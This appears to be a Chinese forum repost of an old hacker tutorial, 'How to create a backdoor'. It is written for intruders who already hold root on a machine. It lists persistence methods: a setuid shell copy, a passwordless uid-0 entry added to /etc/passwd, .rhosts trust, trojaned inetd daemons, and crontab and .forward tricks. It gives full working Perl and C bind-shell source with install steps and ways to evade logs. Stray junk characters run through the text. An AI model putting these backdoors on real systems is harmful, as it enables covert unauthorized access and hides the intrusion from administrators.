找回密码
 注册

QQ登录

只需一步,快速开始

如何创建后门

[复制链接]
发表于 2011-1-13 17:04:25 | 显示全部楼层 |阅读模式
参考文献:
% s# ]' X/ C: P2 @6 B& yArticle: backdoor from The Infinity Concept Issue II
8 Y; V1 g$ z" B9 L2 OSrc: b4b0.c by b4b0
- w/ w" Z5 }" J* f8 HSrc: daemonsh.pl by van Hauser / [THC] in 1997'
- L2 T  d9 Z8 w5 v2 y
0 |% c& M& ]# d) ?0 w--
9 l5 P8 m" L8 U' t  |: e' }' @) t
千辛万苦(or 轻而易举)的取得root后,当然希望长久的保持. 以被以后用来。。。d0ing what u want t0 d0 :) 传统的方法就是建立一个后门(backd00r).即使入侵被发现,好 的(先进)后门仍然能够使你再次轻松的破门而入 -- 请记住: " we come back and we are the h.a.c.k.e.r " 2 j3 e: b+ ]; {7 D, {, S
-- 2 y; m, U9 L. K: c
创建后门的方法如下:
3 n: J8 e1 C8 q$ R  S-   l. i( j0 |% H! H; X- t
1. setuid
9 O7 T- _0 f% _- b5 G& i9 u* Z#cp /bin/sh /tmp/.backdoor + e* |1 b1 [) a
#chmod u+s /tmp/.backdoor
! [7 l. M- t+ c# {- G# b加上 suid 位到shell 上,最为简单方便,但也最为容易被ADM 发现 find / -perm 4000 -print;同时在大多数的SUNOS 上 你会发现不能setuid。-- 适用于新手; 5 O4 v% N) I$ b, ~6 ^
- & b! `' x4 l1 b9 i; b" A4 g
2. echo "zer9::0:0::/:/bin/csh" >> /etc/passwd 即给系统增加一个 id 为 0(root)的帐号,无口令; 也很容易被发现。 -- 适用于新手; 4 |8 D" j  r" M8 s
-
+ g2 u+ u1 A9 Y6 y! ]$ G3.echo "+ zer9">>/.rhosts : {' R: ^0 j( i+ e
即本地的名为 zer9 的用户可以直接 rlogin target 无须口令此时的 zer9 就相当于口令,不知道的人是不能进去的. % E1 v" s, u; d5 ^3 Z' b* U
前提是目标的port 512or513or514 opening.
! R- K+ x' \0 C! p/ w2 @: c) I& D; t注: 如 echo "+ +">>/.rhosts 则任何用户都可rlogin至目标 导致目标门户打开,最好不要; 0 j  B+ ]+ ~7 q$ a) c
还可 echo "+ +">>/etc/hosts.equiv 但这样不能取得root权限;-- 适用于比新手高一点点,比中级水平低一点点的guys;   K+ C; z4 c* ?6 R9 S) @
- : `* ~. b7 r1 w' d5 [/ {- `% b
4.modify sendmail.cf 增加一个"wiz" 命令; 3 K1 ]6 y3 ]9 c& M
usage: ' o- r$ x$ ]/ S$ Z: a" n" ]0 e8 {
telnet target 25 [enter] # J$ m5 K2 L0 c' _
wiz[enter]
+ x" C5 r4 f; l6 R5 q/ d0 n0 x这是我从SAFEsuite中学到的(但没试过);比较危险。因为几乎所有的扫描器都会刺探本漏洞。不过你可把命令本身该成其他不易猜到的名字。比较复杂,危险,但ADM不易发现,隐蔽性较强;你只在你的机器上试一试就okay了;-- 顾名思意,大师级漏洞;
/ e* X9 {8 ^+ N7 Q" @- / D$ X% |  `+ n+ i
5. crack suck as inetd,login,... 3 }  ?# A" z8 |
即安装它们的特络绎版本。你需要找到各版本unix的rootkit;然后分别编译即可;-- 如果目标机上没有安装 tripwire之类的东东,那几乎不可能被发现。linux&sunos&freebsd的可能好找,但其他的了?即使你找到了,你有对应平台上的编译器吗?我有一台运行 slackware,one running irix,one runningsunos,one running hpux,one running digits unix,...
' c: F0 b, Q% P3 T/ J, H3 Q9 v) ihahhahha,我又做梦了:)
% |8 Z) Z, e1 m- F) Q( u-- 我个人认为是最好的方法,但实现起来有一定风险,你必须考虑到如果你的木马运行出错怎么办--因为我们所做的一切都必须以不破坏目标机上的任何数据为原则;
# q/ C& R. [! j- ) ]* P" `' M; `) o( M) G0 \" N7 d0 s3 V1 U
6.ping rem0te backd00r
. ^) s$ i+ F' X5 X* C- G即使是防火墙也很少阻止 ICMP 的通过,因此本后门可绕过防火墙。具体的程序你可在 [THC] 的主页发现;我想到了另外一种直接用ping命令实现的可通过防火墙的方法 :一方在防火墙内,一方在防火墙外;除 ICMP 外;通向防火墙内的信息均被过滤掉 :(用 60k data 代表长,10k data 代表短;使用摩尔思编码;(或其他自定义编码)双方通过 ICMPinfo 接受信息(ping 's data length);“嘀,嘀,嘀嘀,嘀,嘀嘀嘀...""长江长江,我是黄河--- 向我开炮!向我开炮”(^o^);以后有时间我会通过程序来实现验证可行性的。(技术上应该没有什么难度) 3 g2 v/ D$ P' l& r0 X& g6 A
- 5 t6 m; i. d+ ]6 ?" L6 p
7.rem0te shell : n+ E: N: n* T2 T; A2 A1 d
我最喜欢的方式。而且由于绕开了login,故用 who 无法看到--也就是说,避开了utmp&utmpx&wtmp&wtmpx;但没有完全避开 syslogd.ADM仍可以在/var/log/messages中发现
4 t+ O$ r6 e6 T% `1 a) G, d" q9 n' e你。不过,有一种方法可以彻底完全的旁路 syslogd!且听下面一一道来. * R( x) ~1 N  D; r
bindshell的实现有两种:
7 ^0 l  t3 Q5 n  m, y7 Xa. % N+ ]3 s4 t2 T$ B4 }1 t3 ^$ I
替换掉 inetd.conf 中的不重要服务,如 rlogind :)在inetd 接受 connect 请求后,直接在本端口利用 system("/bin/csh -i");直接spam 出一个shell,
- n% U0 Q+ q1 N0 j6 o' ?b. 接受 connect 后,在高端spam出一个shell;
. _3 T7 `9 |7 g3 z(更安全 :) 5 X; y6 N0 [; ]7 }" p
下面我给出一个perl 实现(不需socket libary支持)(pass on sunos5.5.1&slackware 2.0.33&irix6.4&hpux10.2)和一个 gnuc 的实现(test on slackware 2.0.33&irix6.4) 7 y) O" O# G  t' i& c9 I3 n. h
---
( c, q  I0 K$ H8 c. Uperl 版安装方法:
# e, K* U9 v1 Q, X###无须编译!!只要目标机上有perl支持就okay! , Y$ ^( O' b, m2 I' X+ i
如何判断有无perl: $/>perl [enter] % p0 d' {5 T: ]1 S- I. V% E

5 N! X- H# e, A- u[ctrl-c] 2 e0 c% v, O$ m$ t7 a
$/> 0 p4 u) S# `7 M
-
; ^1 ?& q! Y! \4 y6 q, Y' i' A如果你对 /etc/inetd.conf 中的内容不是很熟的话,下面
6 U1 O' E3 X9 y的方法有很大的危险性, exit(-1) please;
2 M: {$ Q6 R+ X( K- / f4 P( b7 ]6 _* q2 `2 `; P, ^
首先将源程序cut,存为你想要替换的daemon,如in.rexecd or or in.rlogind ,in.pop2d....最好是已经被ADM关掉了,而且不太引人注目的daemon,注意,一定要是 TCP types.然后 7 S6 Q" `: o, D* @( E
mv /usr/sbin/in.rexecd /usr/sbin/in.rexecd.bak :)) ' e# l: r& {; ^$ F, J8 p( ^5 X# w
cp in.rexecd /usr/sbin/in.rexecd
4 y/ C  e& s# z% W" h/ S- ^然后 ps -aux|grep inetd;kill -HUP id(by inetd); 0 J! K# y! F; z& e3 p+ A8 D
okay! 连 /etc/inetd.conf 都不要改。重申一点:不论在任何情况下,我们都要尽最大的可能保护数据!
# Z& c4 \9 v/ o% J  d1 P* [$ B8 C-
8 J, n% ]  K1 d& @% S2 ^$ Z( w! SUsage: nc target (such as 512) * I+ K- U( l! t; g; H, M
[enter] 4 V4 {$ S. C$ D0 L4 i/ s. \
ur passwd [enter] ' v9 B3 z6 f- u* A. m
(then u login in...:) ) \+ x7 I( Z& M
7 U, P6 I5 V# _1 B
----Cut Here------------------------------------------
0 Q& n* n( c9 _0 C9 z3 r1 {/ C% x" p0 v& Y" E6 O
#!/usr/bin/perl + T8 t5 F. \6 `* s2 O- n" _
#
% F. z1 G$ G/ ~8 q+ v# BEST 4 H3 n( h7 [6 T* Y3 T) N* ]
# SIMPLE
( ?: O  }4 o. f7 h' T# rem0te bind shell
* l8 g+ T- U/ Y$ Q#[perl version only tcp] 8 f9 ?4 F  O( ^3 o
# by 4 C: f. ?. n9 ^4 c, Q% j
# zer9[FTT]
! G+ _+ S% I- u' F. a! Z# zer9@21cn.com
* V# ?" ?7 V, _#passed on allmost unix
& V+ c0 ~# c+ Q& j) z( w3 R#greet to:van Hauser/[THC] - N' k- u" g& r5 `1 t! k
# for his daemonshell.pl
4 T( e% r/ v: T* ^& `( G#
3 b7 u# B7 A7 v3 B5 u$SHELL="/bin/csh -i";
, A& s; i! ^1 g2 [#d3f4ult p4sswd 1s "wh04r3u" (no quote);
; `* y: y, G' ^. ?# G% Y$PASSWORD="BifqmATb6D5so";
$ D. ]& z- f/ q
2 R/ q- A; f4 o5 ]! @7 U* cif ($PASSWORD) {
3 l( a- x  K$ T4 ychop($pass=);
; e# ]7 ~2 u4 C( D, D6 R4 q2 Lif (crypt($pass, $PASSWORD) ne $PASSWORD) { 9 o# z. I3 D( y. u7 C, u0 q& q/ a
exit 0; 2 D9 V5 I" v  [" y- r- ^  G
}   I7 w7 K* P6 |# _
exec $SHELL ; . H  c9 V( J- h$ t0 v( `
exit 0; . h. k9 ]4 t1 m" d5 L9 Z3 \
} 6 L- @: k7 ~0 m9 X/ P/ ^" h

, `, M7 i# v% P5 l0 \. ^----Cut Here--------------------------------------------
0 P) v) e+ X& y9 B# ]* Y. J+ }: _$ R8 a$ ~- p$ k& T; l

$ I' k1 ]7 |; L+ U" J3 N- Q1 F" R5 B2 ^

: V( d: X1 J6 A1 W* t4 |2 {下面是一个for gnuc 的bindshell,first cut it,save as 2 Q6 D6 O1 ]# ]1 U* j( |
backdoor.c ,then cc backdoor.c -o backdoor 7 c; J% Y+ c* Z8 u
other action just l1ke before; # E  C. O, H1 l8 C6 w) P# g* K: Y
Usage: (exp:binding to in.rlogind (513)) - n" `" n0 v. F7 ?8 Y
nc target 513 //spam a shell on the high port; ) t$ ~) ^0 |' g
nc target 54321 ' d, f0 d1 o/ F. e% R2 J" G8 I* v
ur passwd
1 i) v$ Y6 Q4 x(then u coming in...) 5 x. T( Q9 D1 O( n2 Y$ i
2 I" G& v( s3 T7 v) ^+ g

4 }4 p( z5 U* Z9 `: @----Cut Here------------------------------------- 9 m' I! O! n9 H" T# d
' r0 H  N1 o4 I
/* 3 p7 S  a2 H7 n
* [ b i n d - s h e l l ]
, O( |( [9 w! x( W* by
# L1 g( H4 A( n  z! A* zer9[FTT] 3 H+ f1 A& x5 v+ P3 x( D$ ~" `
* zer9@21cn.com
: d! z4 x2 N# ^; k+ b* y*test on slackware 2.0.33&irix6.4(cc)
1 e& G% o* U( T* Z. d8 T*cc backdoor.c -o backdoor $ t$ r1 x8 v4 T: m. V- \
*u c4n p01nt t0 wh1ch p0rt th3 sh3ll t0 sp4m
5 m: A& K  I$ \0 o1 |*c0mm4nd l1n3: backdoor [port] & A! Z3 M5 r, i- q0 v
*d3fault p0rt 1s: 54321 5 q+ B2 E. _# t
*greets to b4b0 for his b4b0.c
" J% K! X. ]$ @! a! u, |/ F. v*m4yb3 1 c0uld s4y: - u* t' K2 G1 }- T) Y# L
*"0k,b4b0.l1st3n c4r3fully;"
& a  e8 d% t5 W+ ^1 l7 L" F*s0rry,just a joke. 8 g% W( ?! x7 k( K
*
/ g+ v" i: _  g) S9 J3 G, o( ]*/ * {/ p6 e: l) [+ u" A8 k! W
) h* m( J* C: }
#include ( a. i# v6 p) j' T% ]/ @1 n7 u# S- W
#include 8 a; v  [- ?% h3 O+ d6 D5 }
#include
3 \/ \0 G9 @; `5 b#include 2 l" B1 j: J6 b2 d. t% J
#include
0 E. ?" S+ d! p. q#include
! ^. G) Y; |+ R#include
, K# n9 b$ i4 p- P3 M* d( l7 L
5 e+ h. K1 o1 I  c( x, k& F7 p4 _, f8 R) }" A# m$ f" j
#define PassWord "k1n90fth3w0rld" 6 R7 r" Z9 K+ Y# h
/* u c4n us3 crypt l1b4ry t0 sh4d0w 1t */
7 N7 [* w4 D$ a. b% D* c1 o& d3 H" J$ u+ o) c, }
#define DefaultPort 54321
! w3 r' ~  D* |6 e8 F; \0 ~9 e$ Z/* d3f4ult b1nd1ng p0rt */
) P$ i+ j4 O( p# \: H. L) W& m
+ J: Z) K  F& J2 hint main(int argc,char **argv) " R; O1 u. D; R0 v5 V
{
9 t* \, Y* d6 R! Qint s,in_s; 8 l) B) T6 r% l
struct sockaddr_in server,client;
) u7 q  F7 f+ M) k9 ^+ Cint client_len,bindport;
  c, Y' j7 h6 L9 a& dchar recvbuf[1000];
7 v- n6 C4 e1 C( m
! N5 K2 e* f5 u2 s$ {& ?if(argc!=2) bindport=DefaultPort; : I* v: B/ J# v, _  Q. |/ }# j
else
" Z* J+ z7 u( y. sbindport=atoi(argv[1]);
2 O! L. w( n  `6 ^6 r9 Zif((s=socket(AF_INET,SOCK_STREAM,0))<0) 8 L! i, ~- \' M6 H4 U6 @8 t7 [
{ . x9 T0 b2 [& F+ e
perror("socket"); 5 a' F3 u5 M) t/ k3 \
return -1; & ]7 r( y: h! M1 |# ~
}
3 O4 [( J: m' F& b4 lbzero((char *)&server,sizeof(server));
# r; Q0 L) ]; N; e) d, p" t9 Qbzero((char *)&client,sizeof(client));
7 a# N% Q$ l. g4 T0 n  dbzero(recvbuf,sizeof(recvbuf));
  f4 [: f# F  y- \server.sin_family=AF_INET; 5 N) e& b9 v! K$ W" x0 C/ w) i8 e3 {
server.sin_port=htons(bindport);
; h6 i! Y- h" A, ~0 A$ d4 A  ]server.sin_addr.s_addr=INADDR_ANY;
# u1 d: `6 R9 `( D1 o# Jif(bind(s,(struct sockaddr *)&server,sizeof(server))<0)
3 }( b/ D1 ?5 f; }8 i+ G! r' Q, o8 f1 Z{ 1 h4 q, Z* ]6 g/ x) ^
perror("bind"); 5 I( |6 H1 Y5 u: |' D+ z
return -1;
" J  A0 y1 B9 i" F( Z7 A0 b$ ~# b} . q7 @; e2 T7 x
if(listen(s,3)!=0) , ?3 j( I* Y7 T/ K" L( C
{ # ]; i5 ?, x6 f# E/ i# l$ t/ l6 G
perror("listen"); " A5 o" C# H) m
return -1; 3 U, B( Q. V3 \7 A! B
} 1 k+ f9 [! e! Y+ a* M" e
client_len=sizeof(client);
6 P$ m1 j; n8 a2 k3 fif((in_s=accept(s,(struct sockaddr *)&client,&client_len))<0) 0 l8 ^! B2 f- x6 ]& `$ {* r
{ / r! u9 o3 w* E4 ^; D# I
perror("accept");
0 [. S4 L/ \; P7 Y# Dreturn -1; # B' V& l# T+ Q$ Y+ }# p$ i
}
/ Z) z& C7 |# K2 S0 C3 d6 l- Xrecv(in_s,recvbuf,sizeof(recvbuf),0); ! R! s( N5 R$ T
sleep(1); . V: d! N. a2 x9 v5 h
if((strlen(recvbuf)-1)==strlen(PassWord))
- L" ~3 [8 r  B% ^if(!strncmp(recvbuf,PassWord,strlen(PassWord))) ! j& b: D- u. K7 Z4 x' z8 Z7 U
{
0 ^7 b# g% r0 h7 p# x. X& Rsend(in_s,"0k4y! c0m1ng 1n...\n",25,0); ' P0 E; e; q3 p' s3 K! u4 r; n  L+ c4 n
close(0);close(1);close(2); - H: Z% F0 D( j0 q% m$ ?% S
dup2(in_s,0);dup2(in_s,1);dup2(in_s,2); ( E* b2 o$ a, R& _  O. }
execl("/bin/csh","/bin/csh",(char *)0); 7 v% l% r2 m+ Z4 Y
}
' x8 @2 ^: p2 D& v+ g" }0 yclose(s); " a2 X9 {! h( q% z
close(in_s); ' d9 e* Q8 \' r4 J: y5 s3 U
return 0;
# |: T4 }( K' N7 x/ A; C( ?" n} 6 B- j, K4 K' K4 N# m  x

! V3 Z) k5 c: _& {' a! W& f5 B6 u----Cut Here------------------------------------------------- $ d# x8 J% M2 e+ z. _( Y  b

0 ~$ M' D( B7 ]/ H用上面的方法都不能完全的避开syslogd,因为他们都是由inetd 启动的,inetd启动它们的同时已经进行log 了;旁路掉inetd就能完全避开syslog!方法很简单,只要直接在命令行直接启动例程2(c)就可以了,(1perl不行);不过这样很麻烦;一旦ADM关掉计算机就玩完了;比较好的方法是在 /etc/rc.d/rc.local中加入: ) h* f. ^; q* K; E
backdoor & , \3 m. E: `& q8 _. w
但即使这样作了,每次用过后还要再起动一次;更好的方法是写一个具有完全功能(后门功能^o^)的daemon,彻底的解决这个问题;但这样做与hack inetd 那样更有效率(安全)了?
/ V2 z! W1 ], g! g: e--
' |( D! A8 K8 [8.第八种武器就是 crontab ( R* G$ l; X! s2 m$ m5 h( r* `
我只知道原理,没实践过.每到一定时间就往 /etc/passwd 中加入一条uid为0(root) 3 R# O2 {+ `, L8 R7 e" B5 U& v( S$ s
的用户;时间一道就delete ,或创建suid's shell...在序言中提到的文章中有详细介绍;
# m0 q) j1 i, t2 B2 p& j-- # p. e, ~4 i& [" ~; v
9.有没有想过只要向系统的一个用户发一个email,OS 就会spam出一个shell?利用用户的home目录下的 .forward 可作到这一点。
, ~. u9 T- W5 y-- $ ^9 t2 b. L3 S+ w, H) q
10。修改内核--超级高手的做法;2.2.0的解压文件达到了50几MB,看到就头痛。接着就 jmp ffff0 :) (不是看到内容,而是看到大小);[THC]最近出了篇文章关于这个的。你对自己有信心的话可以看看;
) i/ w; w, l2 Y% D--
. I& F# m; K' n11.还有就是利用 overflow 程序,虽然我们一般是利用它取得root;但只要 ADM && u 没有 patch ,始终我们可以利用它的,与suid不同的是它不怕被 find / -perm 4000 发现;一般只有 tripwire可发现。
3 W2 _% w( }. T! S$ W) x6 y+ _5 ?2 f4 o
2 H' _' D! Y5 m$ X! z
您需要登录后才可以回帖 登录 | 注册

本版积分规则

QQ|本地广告联系: QQ:905790666 TEL:13176190456|Archiver|手机版|小黑屋|汶上信息港 ( 鲁ICP备19052200号-1 )

GMT+8, 2025-4-26 06:27

Powered by Discuz! X3.5

© 2001-2025 Discuz! Team.

快速回复 返回顶部 返回列表